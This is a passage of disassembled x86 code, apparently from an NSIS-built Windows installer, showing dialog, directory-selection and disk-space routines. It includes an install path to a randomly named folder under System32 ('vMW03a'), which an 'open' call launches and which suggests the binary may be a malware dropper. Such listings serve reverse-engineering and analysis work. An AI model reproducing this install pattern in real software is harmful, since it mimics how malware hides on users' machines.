		push	dword ptr [esi+10h]
		push	[ebp+arg_4]
		call	ds:dword_407050	; SetBkMode
		mov	eax, [esi+4]
		test	byte ptr [esi+14h], 8
		mov	[ebp+var_8], eax
		jz	short loc_403E93
		push	eax
		call	edi	; GetSysColor
		mov	[ebp+var_8], eax


loc_403E93:				; CODE XREF: sub_403E2A+61j
		test	byte ptr [esi+14h], 4
		pop	edi
		jz	short loc_403EA4
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_40703C	; SetBkColor


loc_403EA4:				; CODE XREF: sub_403E2A+6Ej
		test	byte ptr [esi+14h], 10h
		jz	short loc_403ECB
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_403EBE
		push	eax
		call	ds:dword_407044	; DeleteObject


loc_403EBE:				; CODE XREF: sub_403E2A+8Bj
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_407048	; CreateBrushIndirect
		mov	[esi+0Ch], eax


loc_403ECB:				; CODE XREF: sub_403E2A+7Ej
		mov	eax, [esi+0Ch]
		jmp	short loc_403ED2
; ---------------------------------------------------------------------------


loc_403ED0:				; CODE XREF: sub_403E2A+12j
					; sub_403E2A+27j
		xor	eax, eax


loc_403ED2:				; CODE XREF: sub_403E2A+A4j
		pop	esi
		leave
		retn	0Ch
sub_403E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED7	proc near		; DATA XREF: sub_403F0B+5Eo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_42986C
		push	[ebp+arg_8]
		add	ecx, eax
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_4070B8	; lstrcpyn
		push	[ebp+arg_4]
		call	sub_4059F1	; lstrlen
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		add	dword_42986C, eax
		xor	eax, eax
		pop	ebp
		retn	10h
sub_403ED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F0B	proc near		; DATA XREF: .data:off_409288o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 110h
		push	ebx
		push	esi
		push	edi
		jnz	loc_40402E
		mov	ebx, [ebp+arg_C]
		mov	edi, [ebx+30h]
		test	edi, edi
		jge	short loc_403F3C
		mov	ecx, dword_42EBFC
		lea	eax, ds:4[edi*4]
		sub	ecx, eax
		mov	edi, [ecx]


loc_403F3C:				; CODE XREF: sub_403F0B+1Ej
		mov	eax, dword_42F458
		push	dword ptr [ebx+34h]
		add	edi, eax
		push	22h
		movsx	eax, byte ptr [edi]
		mov	[ebp+arg_C], eax
		mov	eax, [ebx+14h]
		push	[ebp+arg_0]
		and	[ebp+var_8], 0
		mov	esi, eax
		inc	edi
		not	esi
		shr	esi, 5
		and	esi, 1
		and	eax, 1
		mov	[ebp+var_C], edi
		mov	[ebp+var_4], offset sub_403ED7
		or	esi, eax
		call	sub_403DC3
		push	dword ptr [ebx+38h]
		push	23h
		push	[ebp+arg_0]
		call	sub_403DC3
		xor	eax, eax
		push	1
		test	esi, esi
		setz	al
		add	eax, 40Ah
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407190	; CheckDlgButton
		push	esi
		call	sub_403DE5
		push	3E8h
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		mov	ebx, eax
		push	ebx
		call	sub_403DF8
		mov	esi, ds:dword_40723C
		push	0
		push	1
		push	45Bh
		push	ebx
		call	esi	; SendMessageA
		mov	eax, dword_42F428
		mov	eax, [eax+68h]
		test	eax, eax
		jge	short loc_403FDF
		neg	eax
		push	eax
		call	ds:dword_407180	; GetSysColor


loc_403FDF:				; CODE XREF: sub_403F0B+C9j
		push	eax
		push	0
		push	443h
		push	ebx
		call	esi	; SendMessageA
		push	4010000h
		push	0
		push	445h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42986C, 0
		push	edi
		call	sub_4059F1	; lstrlen
		push	eax
		push	0
		push	435h
		push	ebx
		call	esi	; SendMessageA
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_C]
		push	449h
		push	ebx
		call	esi	; SendMessageA
		and	dword_42A888, 0
		xor	eax, eax
		jmp	loc_40418F
; ---------------------------------------------------------------------------


loc_40402E:				; CODE XREF: sub_403F0B+10j
		cmp	[ebp+arg_4], 111h
		mov	ebx, ds:dword_407224
		mov	esi, ds:dword_40723C
		jnz	short loc_40409D
		mov	eax, [ebp+arg_8]
		shr	eax, 10h
		test	ax, ax
		jnz	loc_404180
		xor	eax, eax
		cmp	dword_42A888, eax
		jnz	loc_404180
		mov	ecx, dword_42A078
		lea	edi, [ecx+14h]
		test	byte ptr [edi],	20h
		jz	loc_404180
		push	eax
		push	eax
		push	0F0h
		push	40Ah
		push	[ebp+arg_0]
		call	ebx	; GetDlgItem
		push	eax
		call	esi	; SendMessageA
		mov	ecx, [edi]
		and	eax, 1
		and	ecx, 0FFFFFFFEh
		push	eax
		or	ecx, eax
		mov	[edi], ecx
		call	sub_403DE5
		call	sub_404196


loc_40409D:				; CODE XREF: sub_403F0B+136j
		cmp	[ebp+arg_4], 4Eh
		jnz	loc_404171
		push	3E8h
		push	[ebp+arg_0]
		call	ebx	; GetDlgItem
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi+8], 70Bh
		jnz	short loc_40412F
		cmp	dword ptr [edi+0Ch], 201h
		jnz	short loc_40412F
		mov	ecx, [edi+1Ch]
		mov	edx, [edi+18h]
		mov	[ebp+var_8], ecx
		sub	ecx, edx
		cmp	ecx, 800h
		mov	[ebp+var_C], edx
		mov	[ebp+var_4], offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		jnb	short loc_40412F
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		push	44Bh
		push	eax
		call	esi	; SendMessageA
		mov	edi, ds:dword_40718C
		push	7F02h
		push	0
		call	edi	; LoadCursorA
		mov	ebx, ds:dword_407188
		push	eax
		call	ebx	; SetCursor
		push	1
		push	0
		push	0
		push	[ebp+var_4]
		push	offset aOpen	; "open"
		push	[ebp+arg_0]
		call	ds:dword_40715C
		push	7F00h
		push	0
		call	edi	; LoadCursorA
		push	eax
		call	ebx	; SetCursor
		mov	edi, [ebp+arg_C]


loc_40412F:				; CODE XREF: sub_403F0B+1B0j
					; sub_403F0B+1B9j ...
		cmp	dword ptr [edi+8], 700h
		jnz	short loc_404183
		cmp	dword ptr [edi+0Ch], 100h
		jnz	short loc_404183
		cmp	dword ptr [edi+10h], 0Dh
		jnz	short loc_404158
		push	0
		push	1
		push	111h
		push	dword_42F424
		call	esi	; SendMessageA


loc_404158:				; CODE XREF: sub_403F0B+23Aj
		cmp	dword ptr [edi+10h], 1Bh
		jnz	short loc_40416C
		push	0
		push	0
		push	10h
		push	dword_42F424
		call	esi	; SendMessageA


loc_40416C:				; CODE XREF: sub_403F0B+251j
		xor	eax, eax
		inc	eax
		jmp	short loc_40418F
; ---------------------------------------------------------------------------


loc_404171:				; CODE XREF: sub_403F0B+196j
		cmp	[ebp+arg_4], 40Bh
		jnz	short loc_404180
		inc	dword_42A888


loc_404180:				; CODE XREF: sub_403F0B+141j
					; sub_403F0B+14Fj ...
		mov	edi, [ebp+arg_C]


loc_404183:				; CODE XREF: sub_403F0B+22Bj
					; sub_403F0B+234j
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A


loc_40418F:				; CODE XREF: sub_403F0B+11Ej
					; sub_403F0B+264j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_403F0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404196	proc near		; CODE XREF: sub_403F0B+18Dp
					; sub_404281+25Ap ...
		cmp	dword_42F4AC, 0
		mov	eax, dword_429868
		jnz	short loc_4041A9
		mov	eax, dword_42A89C


loc_4041A9:				; CODE XREF: sub_404196+Cj
		push	1
		push	1
		push	0F4h
		push	eax
		call	ds:dword_40723C	; SendMessageA
		retn
sub_404196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041BA	proc near		; DATA XREF: .data:00409298o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 110h
		push	esi
		mov	esi, [ebp+arg_C]
		jnz	short loc_4041F0
		push	dword ptr [esi+30h]
		push	1Dh
		push	[ebp+arg_0]
		call	sub_403DC3
		mov	eax, [esi+3Ch]
		shl	eax, 0Ah
		add	eax, offset dword_430000
		push	eax
		push	3E8h
		push	[ebp+arg_0]
		call	sub_4052B9	; SetDlgItemTextA


loc_4041F0:				; CODE XREF: sub_4041BA+Ej
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_403E2A
		pop	esi
		pop	ebp
		retn	10h
sub_4041BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404201	proc near		; DATA XREF: .data:00409290o

var_20		= dword	ptr -20h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, dword_42A078
		push	ebx
		push	esi
		mov	[ebp+var_20], eax
		mov	esi, [eax+3Ch]
		mov	eax, [eax+38h]
		shl	esi, 0Ah
		add	esi, offset dword_430000
		cmp	[ebp+arg_4], 40Bh
		push	edi
		mov	[ebp+var_8], eax
		mov	ebx, 3FBh
		jnz	short loc_40423F
		push	esi
		push	ebx
		call	sub_4052BF
		push	esi
		call	sub_405C17


loc_40423F:				; CODE XREF: sub_404201+2Fj
		cmp	[ebp+arg_4], 110h
		jnz	short loc_4042C0
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_407224	; GetDlgItem
		push	esi
		mov	edi, eax
		call	sub_405554
		test	eax, eax
		jz	short loc_40426E
		push	esi
		call	sub_40557B
		test	eax, eax
		jnz	short loc_40426E
		push	esi
		call	sub_4054E8


loc_40426E:				; CODE XREF: sub_404201+5Bj
					; sub_404201+65j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	dword_42EBF8, eax
		call	ds:dword_4071E8	; SetWindowTextA
		mov	eax, [ebp+arg_C]
sub_404201	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404281	proc near		; DATA XREF: .data:00410E20o
					; .data:0041CE78o
		push	dword ptr [eax+34h]
		push	1
		push	dword ptr [ebp+8]
		call	sub_403DC3
		mov	eax, [ebp+14h]
		push	dword ptr [eax+30h]
		push	14h
		push	dword ptr [ebp+8]
		call	sub_403DC3
		push	edi
		call	sub_403DF8
		push	offset aShautocomplete ; "SHAutoComplete"
		push	offset aShlwapi_dll ; "shlwapi.dll"
		call	sub_405CEE
		test	eax, eax
		jz	loc_4044E6
		push	1
		push	edi
		call	eax


loc_4042C0:				; CODE XREF: sub_404201+45j
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	loc_404393
		movzx	eax, word ptr [ebp+10h]
		cmp	eax, ebx
		jnz	short loc_4042ED
		mov	ecx, [ebp+10h]
		shr	ecx, 10h
		cmp	cx, 300h
		jnz	loc_4044E6
		mov	dword ptr [ebp+0Ch], 40Fh


loc_4042ED:				; CODE XREF: sub_404281+52j
		cmp	eax, 3E9h
		jnz	loc_404393
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp-44h]
		push	dword ptr [ebp-8]
		rep stosd
		mov	eax, [ebp+8]
		mov	edi, offset byte_42A8A0
		push	offset dword_429C78
		mov	[ebp-48h], eax
		mov	[ebp-40h], edi
		mov	dword ptr [ebp-34h], offset sub_4044FB
		mov	[ebp-30h], esi
		call	sub_4059FD
		mov	[ebp-3Ch], eax
		lea	eax, [ebp-48h]
		push	eax
		mov	dword ptr [ebp-38h], 41h
		call	ds:dword_407154
		test	eax, eax
		jz	short loc_40438C
		push	eax
		call	sub_405238
		push	esi
		call	sub_4054E8
		mov	eax, dword_42F428
		mov	eax, [eax+11Ch]
		test	eax, eax
		jz	short loc_40437A
		push	eax
		push	0
		call	sub_4059FD
		push	edi
		mov	edi, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		push	edi
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		jz	short loc_40437A
		push	edi
		push	esi
		call	sub_4059F7	; lstrcat


loc_40437A:				; CODE XREF: sub_404281+D7j
					; sub_404281+F0j
		inc	dword_42A890
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4052B9	; SetDlgItemTextA
		jmp	short loc_404393
; ---------------------------------------------------------------------------


loc_40438C:				; CODE XREF: sub_404281+BCj
		mov	dword ptr [ebp+0Ch], 40Fh


loc_404393:				; CODE XREF: sub_404281+46j
					; sub_404281+71j ...
		cmp	dword ptr [ebp+0Ch], 40Fh
		jz	short loc_4043A9
		cmp	dword ptr [ebp+0Ch], 405h
		jnz	loc_4044E6


loc_4043A9:				; CODE XREF: sub_404281+119j
		and	dword ptr [ebp-4], 0
		and	dword ptr [ebp-8], 0
		push	esi
		push	ebx
		or	edi, 0FFFFFFFFh
		call	sub_4052BF
		push	esi
		call	sub_4055C8
		test	eax, eax
		jnz	short loc_4043CC
		mov	dword ptr [ebp-4], 1


loc_4043CC:				; CODE XREF: sub_404281+142j
		push	esi
		mov	esi, offset dword_429870
		push	esi
		call	sub_4059DB
		push	esi
		call	sub_40557B
		test	eax, eax
		jz	short loc_4043E5
		and	byte ptr [eax],	0


loc_4043E5:				; CODE XREF: sub_404281+15Fj
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		test	eax, eax
		mov	ebx, 400h
		jz	short loc_40441F
		lea	ecx, [ebp-1Ch]
		push	ecx
		lea	ecx, [ebp-14h]
		push	ecx
		lea	ecx, [ebp-28h]
		push	ecx
		push	esi
		call	eax
		test	eax, eax
		jz	short loc_40441F
		mov	edi, [ebp-28h]
		mov	eax, [ebp-24h]
		shrd	edi, eax, 0Ah
		shr	eax, 0Ah
		jmp	short loc_40444E
; ---------------------------------------------------------------------------


loc_40441F:				; CODE XREF: sub_404281+17Aj
					; sub_404281+18Dj
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	ds:dword_4070BC	; GetDiskFreeSpaceA
		test	eax, eax
		jz	short loc_404455
		mov	eax, [ebp-10h]
		push	ebx
		imul	eax, [ebp-18h]
		push	dword ptr [ebp-0Ch]
		push	eax
		call	ds:dword_40712C	; MulDiv
		mov	edi, eax


loc_40444E:				; CODE XREF: sub_404281+19Cj
		mov	dword ptr [ebp-8], 1


loc_404455:				; CODE XREF: sub_404281+1B7j
		push	5
		call	sub_404616
		cmp	edi, eax
		jnb	short loc_404467
		mov	dword ptr [ebp-4], 2


loc_404467:				; CODE XREF: sub_404281+1DDj
		mov	ecx, dword_42EBFC
		xor	esi, esi
		cmp	[ecx+10h], esi
		jz	short loc_40449F
		push	eax
		push	0FFFFFFFBh
		push	3FFh
		call	sub_404561
		cmp	[ebp-8], esi
		jz	short loc_404491
		push	edi
		push	0FFFFFFFCh
		push	ebx
		call	sub_404561
		jmp	short loc_40449F
; ---------------------------------------------------------------------------


loc_404491:				; CODE XREF: sub_404281+203j
		push	offset dword_429860
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_4052B9	; SetDlgItemTextA


loc_40449F:				; CODE XREF: sub_404281+1F1j
					; sub_404281+20Ej
		mov	eax, [ebp-4]
		cmp	eax, esi
		mov	dword_42F4C4, eax
		jnz	short loc_4044B5
		push	7
		call	sub_401410
		mov	[ebp-4], eax


loc_4044B5:				; CODE XREF: sub_404281+228j
		mov	eax, [ebp-20h]
		test	[eax+14h], ebx
		jz	short loc_4044C0
		mov	[ebp-4], esi


loc_4044C0:				; CODE XREF: sub_404281+23Aj
		xor	eax, eax
		cmp	[ebp-4], esi
		setz	al
		push	eax
		call	sub_403DE5
		cmp	[ebp-4], esi
		jnz	short loc_4044E0
		cmp	dword_42A890, esi
		jnz	short loc_4044E0
		call	sub_404196


loc_4044E0:				; CODE XREF: sub_404281+250j
					; sub_404281+258j
		mov	dword_42A890, esi


loc_4044E6:				; CODE XREF: sub_404281+34j
					; sub_404281+5Fj ...
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_403E2A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_404281	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044FB	proc near		; DATA XREF: sub_404281+97o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	esi
		mov	esi, ds:dword_40723C
		jnz	short loc_404527
		push	[ebp+arg_C]
		push	3FBh
		call	sub_4052BF
		push	[ebp+arg_C]
		push	1
		push	466h
		push	[ebp+arg_0]
		call	esi	; SendMessageA


loc_404527:				; CODE XREF: sub_4044FB+Ej
		cmp	[ebp+arg_4], 2
		jnz	short loc_40455A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	ds:dword_407150
		test	eax, eax
		jz	short loc_40454B
		push	7
		call	sub_401410
		test	eax, eax
		jnz	short loc_40454B
		inc	eax
		jmp	short loc_40454D
; ---------------------------------------------------------------------------


loc_40454B:				; CODE XREF: sub_4044FB+40j
					; sub_4044FB+4Bj
		xor	eax, eax


loc_40454D:				; CODE XREF: sub_4044FB+4Ej
		push	eax
		push	0
		push	465h
		push	[ebp+arg_0]
		call	esi	; SendMessageA


loc_40455A:				; CODE XREF: sub_4044FB+30j
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	10h
sub_4044FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404561	proc near		; CODE XREF: sub_404281+1FBp
					; sub_404281+209p ...

var_40		= byte ptr -40h
var_20		= byte ptr -20h
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		push	14h
		cmp	esi, 100000h
		pop	edi
		push	0FFFFFFDCh
		pop	ebx
		jnb	short loc_404581
		push	0Ah
		pop	edi
		push	0FFFFFFDDh
		pop	ebx


loc_404581:				; CODE XREF: sub_404561+18j
		cmp	esi, 400h
		jnb	short loc_40458E
		push	0FFFFFFDEh
		xor	edi, edi
		pop	ebx


loc_40458E:				; CODE XREF: sub_404561+26j
		cmp	esi, 0FFFF3333h
		jnb	short loc_4045A5
		xor	eax, eax
		mov	ecx, edi
		inc	eax
		push	14h
		shl	eax, cl
		pop	ecx
		cdq
		idiv	ecx
		add	esi, eax


loc_4045A5:				; CODE XREF: sub_404561+33j
		lea	eax, [ebp+var_20]
		push	0FFFFFFDFh
		push	eax
		call	sub_4059FD
		push	eax
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_4059FD
		push	eax
		mov	eax, esi
		and	eax, 0FFFFFFh
		mov	ecx, edi
		push	0Ah
		xor	edx, edx
		lea	eax, [eax+eax*4]
		add	eax, eax
		shr	eax, cl
		pop	ecx
		div	ecx
		mov	ecx, edi
		shr	esi, cl
		push	edx
		push	esi
		push	offset aU_USS	; "%u.%u%s%s"
		mov	esi, offset byte_42A8A0
		push	[ebp+arg_4]
		push	esi
		call	sub_4059FD
		push	esi
		mov	edi, eax
sub_404561	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: .data:004111D9o
					; .data:0041D231o
		call	sub_4059F1	; lstrlen
		add	edi, eax
		push	edi
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 18h
		push	esi
		push	dword ptr [ebp+8]
		push	dword_42EBF8
		call	sub_4052B9	; SetDlgItemTextA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404616	proc near		; CODE XREF: sub_404281+1D6p
					; sub_4046C3+595p ...

arg_0		= dword	ptr  4

		mov	edx, dword_42F44C
		mov	ecx, dword_42F448
		xor	eax, eax
		test	edx, edx
		jz	short locret_404640
		push	esi


loc_404629:				; CODE XREF: sub_404616+27j
		test	byte ptr [ecx+8], 1
		jz	short loc_404636
		mov	esi, [esp+4+arg_0]
		add	eax, [ecx+esi*4]


loc_404636:				; CODE XREF: sub_404616+17j
		add	ecx, 418h
		dec	edx
		jnz	short loc_404629
		pop	esi

locret_404640:				; CODE XREF: sub_404616+10j
		retn	4
sub_404616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404643	proc near		; CODE XREF: sub_4046C3+2D9p
					; sub_404CBD+56p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	esi, ds:dword_40723C
		push	edi
		mov	edi, [ebp+arg_0]
		push	0
		push	9
		push	110Ah
		push	edi
		call	esi	; SendMessageA
		cmp	[ebp+arg_4], 0
		jz	short loc_4046A2
		call	ds:dword_407194	; GetMessagePos
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		mov	[ebp+var_10], ecx
		call	ds:dword_40716C	; ScreenToClient
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	1111h
		push	edi
		call	esi	; SendMessageA
		test	[ebp+var_8], 66h
		jnz	short loc_40469F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4046BD
; ---------------------------------------------------------------------------


loc_40469F:				; CODE XREF: sub_404643+55j
		mov	eax, [ebp+var_4]


loc_4046A2:				; CODE XREF: sub_404643+21j
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_38]
		push	eax
		push	0
		push	110Ch
		push	edi
		mov	[ebp+var_38], 4
		call	esi	; SendMessageA
		mov	eax, [ebp+var_14]


loc_4046BD:				; CODE XREF: sub_404643+5Aj
		pop	edi
		pop	esi
		leave
		retn	8
sub_404643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046C3	proc near		; DATA XREF: .data:0040928Co

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ds:dword_407224
		push	edi
		push	3F9h
		push	[ebp+arg_0]
		call	esi	; GetDlgItem
		push	408h
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	esi	; GetDlgItem
		mov	ebx, dword_42F448
		mov	esi, ds:dword_40723C
		mov	[ebp+var_4], eax
		mov	eax, dword_42F428
		add	eax, 94h
		xor	edi, edi
		cmp	[ebp+arg_4], 110h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_10], eax
		jnz	loc_404932
		mov	eax, [ebp+arg_0]
		push	2
		mov	dword_42F480, eax
		mov	eax, dword_42F44C
		pop	ebx
		mov	[ebp+var_18], edi
		shl	eax, 2
		push	eax
		push	40h
		mov	[ebp+var_C], ebx
		call	ds:dword_4070F8	; GlobalAlloc
		push	6Eh
		mov	dword_42A898, eax
		push	dword_42F420
		call	ds:dword_407198	; LoadBitmapA
		push	offset sub_404CBD
		push	0FFFFFFFCh
		push	[ebp+var_4]
		mov	[ebp+var_14], eax
		call	ds:dword_407228	; SetWindowLongA
		push	edi
		push	6
		push	21h
		push	10h
		push	10h
		mov	dword_42A894, eax
		call	ds:dword_407034
		push	0FF00FFh
		mov	dword_42A884, eax
		push	[ebp+var_14]
		push	eax
		call	ds:dword_407028
		push	dword_42A884
		push	ebx
		push	1109h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		push	edi
		push	edi
		push	111Ch
		push	[ebp+var_4]
		call	esi	; SendMessageA
		cmp	eax, 10h
		jge	short loc_4047B6
		push	edi
		push	10h
		push	111Bh
		push	[ebp+var_4]
		call	esi	; SendMessageA


loc_4047B6:				; CODE XREF: sub_4046C3+E4j
		push	[ebp+var_14]
		call	ds:dword_407044	; DeleteObject
		xor	ebx, ebx


loc_4047C1:				; CODE XREF: sub_4046C3+133j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+ebx*4]
		cmp	eax, edi
		jz	short loc_4047F2
		cmp	ebx, 20h
		jz	short loc_4047D3
		mov	[ebp+var_C], edi


loc_4047D3:				; CODE XREF: sub_4046C3+10Bj
		push	eax
		push	edi
		call	sub_4059FD
		push	eax
		push	edi
		push	143h
		push	[ebp+var_8]
		call	esi	; SendMessageA
		push	ebx
		push	eax
		push	151h
		push	[ebp+var_8]
		call	esi	; SendMessageA


loc_4047F2:				; CODE XREF: sub_4046C3+106j
		inc	ebx
		cmp	ebx, 21h
		jl	short loc_4047C1
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+var_C]
		push	dword ptr [edi+ebx*4+30h]
		push	15h
		push	[ebp+arg_0]
		call	sub_403DC3
		push	dword ptr [edi+ebx*4+34h]
		push	16h
		push	[ebp+arg_0]
		call	sub_403DC3
		xor	edi, edi
		xor	ebx, ebx
		cmp	dword_42F44C, edi
		jle	loc_4048EE
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+8]
		mov	[ebp+var_14], edx


loc_404833:				; CODE XREF: sub_4046C3+21Fj
		lea	eax, [edx+10h]
		cmp	byte ptr [eax],	0
		jz	loc_4048CF
		mov	[ebp+var_38], eax
		mov	eax, [edx]
		push	20h
		mov	edx, eax
		pop	ecx
		mov	[ebp+var_50], ebx
		and	edx, ecx
		mov	[ebp+var_4C], 0FFFF0002h
		test	al, 2
		mov	[ebp+var_48], 0Dh
		mov	[ebp+var_3C], ecx
		mov	[ebp+var_24], edi
		mov	[ebp+var_40], edx
		jz	short loc_4048A1
		lea	eax, [ebp+var_50]
		mov	[ebp+var_48], 4Dh
		push	eax
		push	0
		push	1100h
		mov	[ebp+var_28], 1
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ecx, dword_42A898
		mov	[ebp+var_18], 1
		mov	[ecx+edi*4], eax
		mov	eax, dword_42A898
		mov	ebx, [eax+edi*4]
		jmp	short loc_4048CF
; ---------------------------------------------------------------------------


loc_4048A1:				; CODE XREF: sub_4046C3+1A4j
		test	al, 4
		jz	short loc_4048B6
		push	ebx
		push	3
		push	110Ah
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ebx, eax
		jmp	short loc_4048CF
; ---------------------------------------------------------------------------


loc_4048B6:				; CODE XREF: sub_4046C3+1E0j
		lea	eax, [ebp+var_50]
		push	eax
		push	0
		push	1100h
		push	[ebp+var_4]
		call	esi	; SendMessageA
		mov	ecx, dword_42A898
		mov	[ecx+edi*4], eax


loc_4048CF:				; CODE XREF: sub_4046C3+176j
					; sub_4046C3+1DCj ...
		mov	edx, [ebp+var_14]
		inc	edi
		add	edx, 418h
		cmp	edi, dword_42F44C
		mov	[ebp+var_14], edx
		jl	loc_404833
		cmp	[ebp+var_18], 0
		jnz	short loc_404907


loc_4048EE:				; CODE XREF: sub_4046C3+161j
		push	0FFFFFFF0h
		push	[ebp+var_4]
		call	ds:dword_407184	; GetWindowLongA
		and	al, 0FBh
		push	eax
		push	0FFFFFFF0h
		push	[ebp+var_4]
		call	ds:dword_407228	; SetWindowLongA


loc_404907:				; CODE XREF: sub_4046C3+229j
		cmp	[ebp+var_C], 0
		jnz	short loc_404925
		push	5
		push	[ebp+var_8]
		call	ds:dword_407258	; ShowWindow
		push	[ebp+var_8]
		call	sub_403DF8
		jmp	loc_404CA8
; ---------------------------------------------------------------------------


loc_404925:				; CODE XREF: sub_4046C3+248j
		push	[ebp+var_4]
		call	sub_403DF8
		mov	ebx, [ebp+var_1C]
		xor	edi, edi


loc_404932:				; CODE XREF: sub_4046C3+4Ej
		cmp	[ebp+arg_4], 405h
		jnz	short loc_40494D
		xor	ecx, ecx
		mov	[ebp+arg_8], edi
		inc	ecx
		mov	[ebp+arg_4], 40Fh
		mov	[ebp+arg_C], ecx
		jmp	short loc_404950
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: sub_4046C3+276j
